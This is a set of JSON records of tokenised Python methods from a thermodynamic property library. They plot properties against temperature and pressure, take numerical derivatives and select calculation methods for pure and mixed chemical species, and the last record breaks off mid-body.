{"signature": "def plot_isobar(self, P, Tmin=None, Tmax=None, methods_P=[], pts=<NUM_LIT:50>,<EOL>only_valid=True):  ", "body": "if not has_matplotlib:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if Tmin is None:<EOL><INDENT>if self.Tmin is not None:<EOL><INDENT>Tmin = self.Tmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Tmax is None:<EOL><INDENT>if self.Tmax is not None:<EOL><INDENT>Tmax = self.Tmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if not methods_P:<EOL><INDENT>if self.user_methods_P:<EOL><INDENT>methods_P = self.user_methods_P<EOL><DEDENT>else:<EOL><INDENT>methods_P = self.all_methods_P<EOL><DEDENT><DEDENT>Ts = np.linspace(Tmin, Tmax, pts)<EOL>for method_P in methods_P:<EOL><INDENT>if only_valid:<EOL><INDENT>properties, Ts2 = [], []<EOL>for T in Ts:<EOL><INDENT>if self.test_method_validity_P(T, P, method_P):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate_P(T, P, method_P)<EOL>if self.test_property_validity(p):<EOL><INDENT>properties.append(p)<EOL>Ts2.append(T)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>plt.plot(Ts2, properties, label=method_P)<EOL><DEDENT>else:<EOL><INDENT>properties = [self.calculate_P(T, P, method_P) for T in Ts]<EOL>plt.plot(Ts, properties, label=method_P)<EOL><DEDENT><DEDENT>plt.legend(loc='<STR_LIT>')<EOL>plt.ylabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.title(self.name + '<STR_LIT>' + self.CASRN)<EOL>plt.show()<EOL>", "docstring": "r'''Method to create a plot of the property vs temperature at a \n        specific pressure according to\n        either a specified list of methods, or user methods (if set), or all\n        methods. User-selectable number of points, and temperature range. If\n        only_valid is set,`test_method_validity_P` will be used to check if \n        each condition in the specified range is valid, and\n        `test_property_validity` will be used to test the answer, and the\n        method is allowed to fail; only the valid points will be plotted.\n        Otherwise, the result will be calculated and displayed as-is. This will\n        not suceed if the method fails.\n\n        Parameters\n        ----------\n        P : float\n            Pressure for the isobar, [Pa]\n        Tmin : float\n            Minimum temperature, to begin calculating the property, [K]\n        Tmax : float\n            Maximum temperature, to stop calculating the property, [K]\n        methods_P : list, optional\n            List of methods to consider\n        pts : int, optional\n            A list of points to calculate the property at; if Tmin to Tmax\n            covers a wide range of method validities, only a few points may end\n            up calculated for a given method so this may need to be large\n        only_valid : bool\n            If True, only plot successful methods and calculated properties,\n            and handle errors; if False, attempt calculation without any\n            checking and use methods outside their bounds", "id": "f15806:c1:m8"}
{"signature": "def plot_TP_dependent_property(self, Tmin=None, Tmax=None, Pmin=None,<EOL>Pmax=None,  methods_P=[], pts=<NUM_LIT:15>, <EOL>only_valid=True):  ", "body": "if not has_matplotlib:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>from mpl_toolkits.mplot3d import axes3d<EOL>from matplotlib.ticker import FormatStrFormatter<EOL>import numpy.ma as ma<EOL>if Pmin is None:<EOL><INDENT>if self.Pmin is not None:<EOL><INDENT>Pmin = self.Pmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Pmax is None:<EOL><INDENT>if self.Pmax is not None:<EOL><INDENT>Pmax = self.Pmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Tmin is None:<EOL><INDENT>if self.Tmin is not None:<EOL><INDENT>Tmin = self.Tmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Tmax is None:<EOL><INDENT>if self.Tmax is not None:<EOL><INDENT>Tmax = self.Tmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if not methods_P:<EOL><INDENT>methods_P = self.user_methods_P if self.user_methods_P else self.all_methods_P<EOL><DEDENT>Ps = np.linspace(Pmin, Pmax, pts)<EOL>Ts = np.linspace(Tmin, Tmax, pts)<EOL>Ts_mesh, Ps_mesh = np.meshgrid(Ts, Ps)<EOL>fig = plt.figure()<EOL>ax = fig.gca(projection='<STR_LIT>')<EOL>handles = []<EOL>for method_P in methods_P:<EOL><INDENT>if only_valid:<EOL><INDENT>properties = []<EOL>for T in Ts:<EOL><INDENT>T_props = []<EOL>for P in Ps:<EOL><INDENT>if self.test_method_validity_P(T, P, method_P):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate_P(T, P, method_P)<EOL>if self.test_property_validity(p):<EOL><INDENT>T_props.append(p)<EOL><DEDENT>else:<EOL><INDENT>T_props.append(None)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>T_props.append(None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>T_props.append(None)<EOL><DEDENT><DEDENT>properties.append(T_props)<EOL><DEDENT>properties = ma.masked_invalid(np.array(properties, dtype=np.float).T)<EOL>handles.append(ax.plot_surface(Ts_mesh, Ps_mesh, properties, cstride=<NUM_LIT:1>, rstride=<NUM_LIT:1>, alpha=<NUM_LIT:0.5>))<EOL><DEDENT>else:<EOL><INDENT>properties = [[self.calculate_P(T, P, method_P) for P in Ps] for T in Ts]<EOL>handles.append(ax.plot_surface(Ts_mesh, Ps_mesh, properties, cstride=<NUM_LIT:1>, rstride=<NUM_LIT:1>, alpha=<NUM_LIT:0.5>))<EOL><DEDENT><DEDENT>ax.yaxis.set_major_formatter(FormatStrFormatter('<STR_LIT>'))<EOL>ax.zaxis.set_major_formatter(FormatStrFormatter('<STR_LIT>'))<EOL>ax.xaxis.set_major_formatter(FormatStrFormatter('<STR_LIT>'))<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_zlabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units)<EOL>plt.title(self.name + '<STR_LIT>' + self.CASRN)<EOL>plt.show(block=False)<EOL>ax.legend(handles, methods_P)<EOL>plt.show(block=False)<EOL>", "docstring": "r'''Method to create a plot of the property vs temperature and pressure \n        according to either a specified list of methods, or user methods (if \n        set), or all methods. User-selectable number of points for each \n        variable. If only_valid is set,`test_method_validity_P` will be used to\n        check if each condition in the specified range is valid, and\n        `test_property_validity` will be used to test the answer, and the\n        method is allowed to fail; only the valid points will be plotted.\n        Otherwise, the result will be calculated and displayed as-is. This will\n        not suceed if the any method fails for any point.\n\n        Parameters\n        ----------\n        Tmin : float\n            Minimum temperature, to begin calculating the property, [K]\n        Tmax : float\n            Maximum temperature, to stop calculating the property, [K]\n        Pmin : float\n            Minimum pressure, to begin calculating the property, [Pa]\n        Pmax : float\n            Maximum pressure, to stop calculating the property, [Pa]\n        methods_P : list, optional\n            List of methods to consider\n        pts : int, optional\n            A list of points to calculate the property at for both temperature \n            and pressure; pts^2 points will be calculated.\n        only_valid : bool\n            If True, only plot successful methods and calculated properties,\n            and handle errors; if False, attempt calculation without any\n            checking and use methods outside their bounds", "id": "f15806:c1:m9"}
{"signature": "def calculate_derivative_T(self, T, P, method, order=<NUM_LIT:1>):", "body": "return derivative(self.calculate_P, T, dx=<NUM_LIT>, args=[P, method], n=order, order=<NUM_LIT:1>+order*<NUM_LIT:2>)<EOL>", "docstring": "r'''Method to calculate a derivative of a temperature and pressure\n        dependent property with respect to  temperature at constant pressure,\n        of a given order using a specified  method. Uses SciPy's  derivative \n        function, with a delta of 1E-6 K and a number of points equal to \n        2*order + 1.\n\n        This method can be overwritten by subclasses who may perfer to add\n        analytical methods for some or all methods as this is much faster.\n\n        If the calculation does not succeed, returns the actual error\n        encountered.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        method : str\n            Method for which to find the derivative\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_T_at_P : float\n            Calculated derivative property at constant pressure, \n            [`units/K^order`]", "id": "f15806:c1:m10"}
{"signature": "def calculate_derivative_P(self, P, T, method, order=<NUM_LIT:1>):", "body": "f = lambda P: self.calculate_P(T, P, method)<EOL>return derivative(f, P, dx=<NUM_LIT>, n=order, order=<NUM_LIT:1>+order*<NUM_LIT:2>)<EOL>", "docstring": "r'''Method to calculate a derivative of a temperature and pressure\n        dependent property with respect to pressure at constant temperature,\n        of a given order using a specified method. Uses SciPy's derivative \n        function, with a delta of 0.01 Pa and a number of points equal to \n        2*order + 1.\n\n        This method can be overwritten by subclasses who may perfer to add\n        analytical methods for some or all methods as this is much faster.\n\n        If the calculation does not succeed, returns the actual error\n        encountered.\n\n        Parameters\n        ----------\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        method : str\n            Method for which to find the derivative\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_P_at_T : float\n            Calculated derivative property at constant temperature, \n            [`units/Pa^order`]", "id": "f15806:c1:m11"}
{"signature": "def TP_dependent_property_derivative_T(self, T, P, order=<NUM_LIT:1>):", "body": "sorted_valid_methods_P = self.select_valid_methods_P(T, P)<EOL>for method in sorted_valid_methods_P:<EOL><INDENT>try:<EOL><INDENT>return self.calculate_derivative_T(T, P, method, order)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate a derivative of a temperature and pressure\n        dependent property with respect to temperature at constant pressure,\n        of a given order. Methods found valid by `select_valid_methods_P` are \n        attempted until a method succeeds. If no methods are valid and succeed,\n        None is returned.\n\n        Calls `calculate_derivative_T` internally to perform the actual\n        calculation.\n\n        .. math::\n            \\text{derivative} = \\frac{d (\\text{property})}{d T}|_{P}\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_T_at_P : float\n            Calculated derivative property, [`units/K^order`]", "id": "f15806:c1:m12"}
{"signature": "def TP_dependent_property_derivative_P(self, T, P, order=<NUM_LIT:1>):", "body": "sorted_valid_methods_P = self.select_valid_methods_P(T, P)<EOL>for method in sorted_valid_methods_P:<EOL><INDENT>try:<EOL><INDENT>return self.calculate_derivative_P(P, T, method, order)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate a derivative of a temperature and pressure\n        dependent property with respect to pressure at constant temperature,\n        of a given order. Methods found valid by `select_valid_methods_P` are \n        attempted until a method succeeds. If no methods are valid and succeed,\n        None is returned.\n\n        Calls `calculate_derivative_P` internally to perform the actual\n        calculation.\n\n        .. math::\n            \\text{derivative} = \\frac{d (\\text{property})}{d P}|_{T}\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_P_at_T : float\n            Calculated derivative property, [`units/Pa^order`]", "id": "f15806:c1:m13"}
{"signature": "def __call__(self, T, P, zs, ws):", "body": "if (T, P, zs, ws) == self.TP_zs_ws_cached:<EOL><INDENT>return self.prop_cached<EOL><DEDENT>else:<EOL><INDENT>self.prop_cached = self.mixture_property(T, P, zs, ws)<EOL>self.TP_zs_ws_cached = (T, P, zs, ws)<EOL>return self.prop_cached<EOL><DEDENT>", "docstring": "r'''Convenience method to calculate the property; calls \n        :obj:`mixture_property`. Caches previously calculated value,\n        which is an overhead when calculating many different values of\n        a property. See :obj:`mixture_property` for more details as to the\n        calculation procedure.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c2:m0"}
{"signature": "def set_user_method(self, user_methods, forced=False):", "body": "<EOL>if isinstance(user_methods, str):<EOL><INDENT>user_methods = [user_methods]<EOL><DEDENT>self.user_methods = user_methods<EOL>self.forced = forced<EOL>if set(self.user_methods).difference(self.all_methods):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if not self.user_methods and self.forced:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>self.method = None<EOL>self.sorted_valid_methods = []<EOL>self.TP_zs_ws_cached = (None, None, None, None)<EOL>", "docstring": "r'''Method to set the T, P, and composition dependent property methods \n        desired for consideration by the user. Can be used to exclude certain \n        methods which might have unacceptable accuracy.\n\n        As a side effect, the previously selected method is removed when\n        this method is called to ensure user methods are tried in the desired\n        order.\n\n        Parameters\n        ----------\n        user_methods : str or list\n            Methods by name to be considered for calculation of the mixture\n            property, ordered by preference.\n        forced : bool, optional\n            If True, only the user specified methods will ever be considered;\n            if False, other methods will be considered if no user methods\n            suceed.", "id": "f15806:c2:m1"}
{"signature": "def select_valid_methods(self, T, P, zs, ws):", "body": "<EOL>considered_methods = list(self.user_methods) if self.forced else list(self.all_methods)<EOL>if self.user_methods:<EOL><INDENT>[considered_methods.remove(i) for i in self.user_methods]<EOL><DEDENT>preferences = sorted([self.ranked_methods.index(i) for i in considered_methods])<EOL>sorted_methods = [self.ranked_methods[i] for i in preferences]<EOL>if self.user_methods:<EOL><INDENT>[sorted_methods.insert(<NUM_LIT:0>, i) for i in reversed(self.user_methods)]<EOL><DEDENT>sorted_valid_methods = []<EOL>for method in sorted_methods:<EOL><INDENT>if self.test_method_validity(T, P, zs, ws, method):<EOL><INDENT>sorted_valid_methods.append(method)<EOL><DEDENT><DEDENT>return sorted_valid_methods<EOL>", "docstring": "r'''Method to obtain a sorted list of methods which are valid at `T`,\n        `P`, `zs`, `ws`, and possibly `Vfls`, according to \n        `test_method_validity`. Considers either only user methods\n        if forced is True, or all methods. User methods are first tested\n        according to their listed order, and unless forced is True, then all\n        methods are tested and sorted by their order in `ranked_methods`.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to test the methods, [K]\n        P : float\n            Pressure at which to test the methods, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n\n        Returns\n        -------\n        sorted_valid_methods : list\n            Sorted lists of methods valid at the given conditions according to\n            `test_method_validity`", "id": "f15806:c2:m2"}
{"signature": "def mixture_property(self, T, P, zs, ws):", "body": "<EOL>if self.method:<EOL><INDENT>if self.test_method_validity(T, P, zs, ws, self.method):<EOL><INDENT>try:<EOL><INDENT>prop = self.calculate(T, P, zs, ws, self.method)<EOL>if self.test_property_validity(prop):<EOL><INDENT>return prop<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>self.sorted_valid_methods = self.select_valid_methods(T, P, zs, ws)<EOL>for method in self.sorted_valid_methods:<EOL><INDENT>try:<EOL><INDENT>prop = self.calculate(T, P, zs, ws, method)<EOL>if self.test_property_validity(prop):<EOL><INDENT>self.method = method<EOL>return prop<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate the property with sanity checking and without\n        specifying a specific method. `select_valid_methods` is used to obtain\n        a sorted list of methods to try. Methods are then tried in order until\n        one succeeds. The methods are allowed to fail, and their results are\n        checked with `test_property_validity`. On success, the used method\n        is stored in the variable `method`.\n\n        If `method` is set, this method is first checked for validity with\n        `test_method_validity` for the specified temperature, and if it is\n        valid, it is then used to calculate the property. The result is checked\n        for validity, and returned if it is valid. If either of the checks fail,\n        the function retrieves a full list of valid methods with\n        `select_valid_methods` and attempts them as described above.\n\n        If no methods are found which succeed, returns None.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c2:m4"}
{"signature": "def calculate_derivative_T(self, T, P, zs, ws, method, order=<NUM_LIT:1>):", "body": "return derivative(self.calculate, T, dx=<NUM_LIT>, args=[P, zs, ws, method], n=order, order=<NUM_LIT:1>+order*<NUM_LIT:2>)<EOL>", "docstring": "r'''Method to calculate a derivative of a mixture property with respect \n        to temperature at constant pressure and composition\n        of a given order using a specified  method. Uses SciPy's derivative \n        function, with a delta of 1E-6 K and a number of points equal to \n        2*order + 1.\n\n        This method can be overwritten by subclasses who may perfer to add\n        analytical methods for some or all methods as this is much faster.\n\n        If the calculation does not succeed, returns the actual error\n        encountered.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Method for which to find the derivative\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_T_at_P : float\n            Calculated derivative property at constant pressure, \n            [`units/K^order`]", "id": "f15806:c2:m5"}
{"signature": "def calculate_derivative_P(self, P, T, zs, ws, method, order=<NUM_LIT:1>):", "body": "f = lambda P: self.calculate(T, P, zs, ws, method)<EOL>return derivative(f, P, dx=<NUM_LIT>, n=order, order=<NUM_LIT:1>+order*<NUM_LIT:2>)<EOL>", "docstring": "r'''Method to calculate a derivative of a mixture property with respect \n        to pressure at constant temperature and composition\n        of a given order using a specified method. Uses SciPy's derivative \n        function, with a delta of 0.01 Pa and a number of points equal to \n        2*order + 1.\n\n        This method can be overwritten by subclasses who may perfer to add\n        analytical methods for some or all methods as this is much faster.\n\n        If the calculation does not succeed, returns the actual error\n        encountered.\n\n        Parameters\n        ----------\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Method for which to find the derivative\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_P_at_T : float\n            Calculated derivative property at constant temperature, \n            [`units/Pa^order`]", "id": "f15806:c2:m6"}
{"signature": "def property_derivative_T(self, T, P, zs, ws, order=<NUM_LIT:1>):", "body": "sorted_valid_methods = self.select_valid_methods(T, P, zs, ws)<EOL>for method in sorted_valid_methods:<EOL><INDENT>try:<EOL><INDENT>return self.calculate_derivative_T(T, P, zs, ws, method, order)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate a derivative of a mixture property with respect\n        to temperature at constant pressure and composition,\n        of a given order. Methods found valid by `select_valid_methods` are \n        attempted until a method succeeds. If no methods are valid and succeed,\n        None is returned.\n\n        Calls `calculate_derivative_T` internally to perform the actual\n        calculation.\n\n        .. math::\n            \\text{derivative} = \\frac{d (\\text{property})}{d T}|_{P, z}\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_T_at_P : float\n            Calculated derivative property, [`units/K^order`]", "id": "f15806:c2:m7"}
{"signature": "def property_derivative_P(self, T, P, zs, ws, order=<NUM_LIT:1>):", "body": "sorted_valid_methods = self.select_valid_methods(T, P, zs, ws)<EOL>for method in sorted_valid_methods:<EOL><INDENT>try:<EOL><INDENT>return self.calculate_derivative_P(P, T, zs, ws, method, order)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate a derivative of a mixture property with respect\n        to pressure at constant temperature and composition,\n        of a given order. Methods found valid by `select_valid_methods` are \n        attempted until a method succeeds. If no methods are valid and succeed,\n        None is returned.\n\n        Calls `calculate_derivative_P` internally to perform the actual\n        calculation.\n\n        .. math::\n            \\text{derivative} = \\frac{d (\\text{property})}{d P}|_{T, z}\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        P : float\n            Pressure at which to calculate the derivative, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        d_prop_d_P_at_T : float\n            Calculated derivative property, [`units/Pa^order`]", "id": "f15806:c2:m8"}
{"signature": "def plot_isotherm(self, T, zs, ws, Pmin=None, Pmax=None, methods=[], pts=<NUM_LIT:50>,<EOL>only_valid=True):  ", "body": "<EOL>if not has_matplotlib:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if Pmin is None:<EOL><INDENT>if self.Pmin is not None:<EOL><INDENT>Pmin = self.Pmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Pmax is None:<EOL><INDENT>if self.Pmax is not None:<EOL><INDENT>Pmax = self.Pmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if not methods:<EOL><INDENT>if self.user_methods:<EOL><INDENT>methods = self.user_methods<EOL><DEDENT>else:<EOL><INDENT>methods = self.all_methods<EOL><DEDENT><DEDENT>Ps = np.linspace(Pmin, Pmax, pts)<EOL>for method in methods:<EOL><INDENT>if only_valid:<EOL><INDENT>properties, Ps2 = [], []<EOL>for P in Ps:<EOL><INDENT>if self.test_method_validity(T, P, zs, ws, method):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate(T, P, zs, ws, method)<EOL>if self.test_property_validity(p):<EOL><INDENT>properties.append(p)<EOL>Ps2.append(P)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>plt.plot(Ps2, properties, label=method)<EOL><DEDENT>else:<EOL><INDENT>properties = [self.calculate(T, P, zs, ws, method) for P in Ps]<EOL>plt.plot(Ps, properties, label=method)<EOL><DEDENT><DEDENT>plt.legend(loc='<STR_LIT>')<EOL>plt.ylabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.title(self.name + '<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(self.CASs) <EOL>+ '<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(str(round(i, <NUM_LIT:4>)) for i in zs) + '<STR_LIT:.>')<EOL>plt.show()<EOL>", "docstring": "r'''Method to create a plot of the property vs pressure at a specified\n        temperature and composition according to either a specified list of \n        methods, or the  user methods (if set), or all methods. User-selectable\n         number of  points, and pressure range. If only_valid is set,\n        `test_method_validity` will be used to check if each condition in \n        the specified range is valid, and `test_property_validity` will be used\n        to test the answer, and the method is allowed to fail; only the valid \n        points will be plotted. Otherwise, the result will be calculated and \n        displayed as-is. This will not suceed if the method fails.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to create the plot, [K]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        Pmin : float\n            Minimum pressure, to begin calculating the property, [Pa]\n        Pmax : float\n            Maximum pressure, to stop calculating the property, [Pa]\n        methods : list, optional\n            List of methods to consider\n        pts : int, optional\n            A list of points to calculate the property at; if Pmin to Pmax\n            covers a wide range of method validities, only a few points may end\n            up calculated for a given method so this may need to be large\n        only_valid : bool\n            If True, only plot successful methods and calculated properties,\n            and handle errors; if False, attempt calculation without any\n            checking and use methods outside their bounds", "id": "f15806:c2:m9"}
{"signature": "def plot_isobar(self, P, zs, ws, Tmin=None, Tmax=None, methods=[], pts=<NUM_LIT:50>,<EOL>only_valid=True):  ", "body": "if not has_matplotlib:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if Tmin is None:<EOL><INDENT>if self.Tmin is not None:<EOL><INDENT>Tmin = self.Tmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Tmax is None:<EOL><INDENT>if self.Tmax is not None:<EOL><INDENT>Tmax = self.Tmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if not methods:<EOL><INDENT>if self.user_methods:<EOL><INDENT>methods = self.user_methods<EOL><DEDENT>else:<EOL><INDENT>methods = self.all_methods<EOL><DEDENT><DEDENT>Ts = np.linspace(Tmin, Tmax, pts)<EOL>for method in methods:<EOL><INDENT>if only_valid:<EOL><INDENT>properties, Ts2 = [], []<EOL>for T in Ts:<EOL><INDENT>if self.test_method_validity(T, P, zs, ws, method):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate(T, P, zs, ws, method)<EOL>if self.test_property_validity(p):<EOL><INDENT>properties.append(p)<EOL>Ts2.append(T)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>plt.plot(Ts2, properties, label=method)<EOL><DEDENT>else:<EOL><INDENT>properties = [self.calculate(T, P, zs, ws, method) for T in Ts]<EOL>plt.plot(Ts, properties, label=method)<EOL><DEDENT><DEDENT>plt.legend(loc='<STR_LIT>')<EOL>plt.ylabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.title(self.name + '<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(self.CASs) <EOL>+ '<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(str(round(i, <NUM_LIT:4>)) for i in zs) + '<STR_LIT:.>')<EOL>plt.show()<EOL>", "docstring": "r'''Method to create a plot of the property vs temperature at a \n        specific pressure and composition according to\n        either a specified list of methods, or user methods (if set), or all\n        methods. User-selectable number of points, and temperature range. If\n        only_valid is set,`test_method_validity` will be used to check if \n        each condition in the specified range is valid, and\n        `test_property_validity` will be used to test the answer, and the\n        method is allowed to fail; only the valid points will be plotted.\n        Otherwise, the result will be calculated and displayed as-is. This will\n        not suceed if the method fails.\n\n        Parameters\n        ----------\n        P : float\n            Pressure for the isobar, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        Tmin : float\n            Minimum temperature, to begin calculating the property, [K]\n        Tmax : float\n            Maximum temperature, to stop calculating the property, [K]\n        methods : list, optional\n            List of methods to consider\n        pts : int, optional\n            A list of points to calculate the property at; if Tmin to Tmax\n            covers a wide range of method validities, only a few points may end\n            up calculated for a given method so this may need to be large\n        only_valid : bool\n            If True, only plot successful methods and calculated properties,\n            and handle errors; if False, attempt calculation without any\n            checking and use methods outside their bounds", "id": "f15806:c2:m10"}
{"signature": "def plot_property(self, zs, ws, Tmin=None, Tmax=None, Pmin=<NUM_LIT>, Pmax=<NUM_LIT>, <EOL>methods=[], pts=<NUM_LIT:15>, only_valid=True):  ", "body": "if not has_matplotlib:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>from mpl_toolkits.mplot3d import axes3d<EOL>from matplotlib.ticker import FormatStrFormatter<EOL>import numpy.ma as ma<EOL>if Pmin is None:<EOL><INDENT>if self.Pmin is not None:<EOL><INDENT>Pmin = self.Pmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Pmax is None:<EOL><INDENT>if self.Pmax is not None:<EOL><INDENT>Pmax = self.Pmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Tmin is None:<EOL><INDENT>if self.Tmin is not None:<EOL><INDENT>Tmin = self.Tmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Tmax is None:<EOL><INDENT>if self.Tmax is not None:<EOL><INDENT>Tmax = self.Tmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if not methods:<EOL><INDENT>methods = self.user_methods if self.user_methods else self.all_methods<EOL><DEDENT>Ps = np.linspace(Pmin, Pmax, pts)<EOL>Ts = np.linspace(Tmin, Tmax, pts)<EOL>Ts_mesh, Ps_mesh = np.meshgrid(Ts, Ps)<EOL>fig = plt.figure()<EOL>ax = fig.gca(projection='<STR_LIT>')<EOL>handles = []<EOL>for method in methods:<EOL><INDENT>if only_valid:<EOL><INDENT>properties = []<EOL>for T in Ts:<EOL><INDENT>T_props = []<EOL>for P in Ps:<EOL><INDENT>if self.test_method_validity(T, P, zs, ws, method):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate(T, P, zs, ws, method)<EOL>if self.test_property_validity(p):<EOL><INDENT>T_props.append(p)<EOL><DEDENT>else:<EOL><INDENT>T_props.append(None)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>T_props.append(None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>T_props.append(None)<EOL><DEDENT><DEDENT>properties.append(T_props)<EOL><DEDENT>properties = ma.masked_invalid(np.array(properties, dtype=np.float).T)<EOL>handles.append(ax.plot_surface(Ts_mesh, Ps_mesh, properties, cstride=<NUM_LIT:1>, 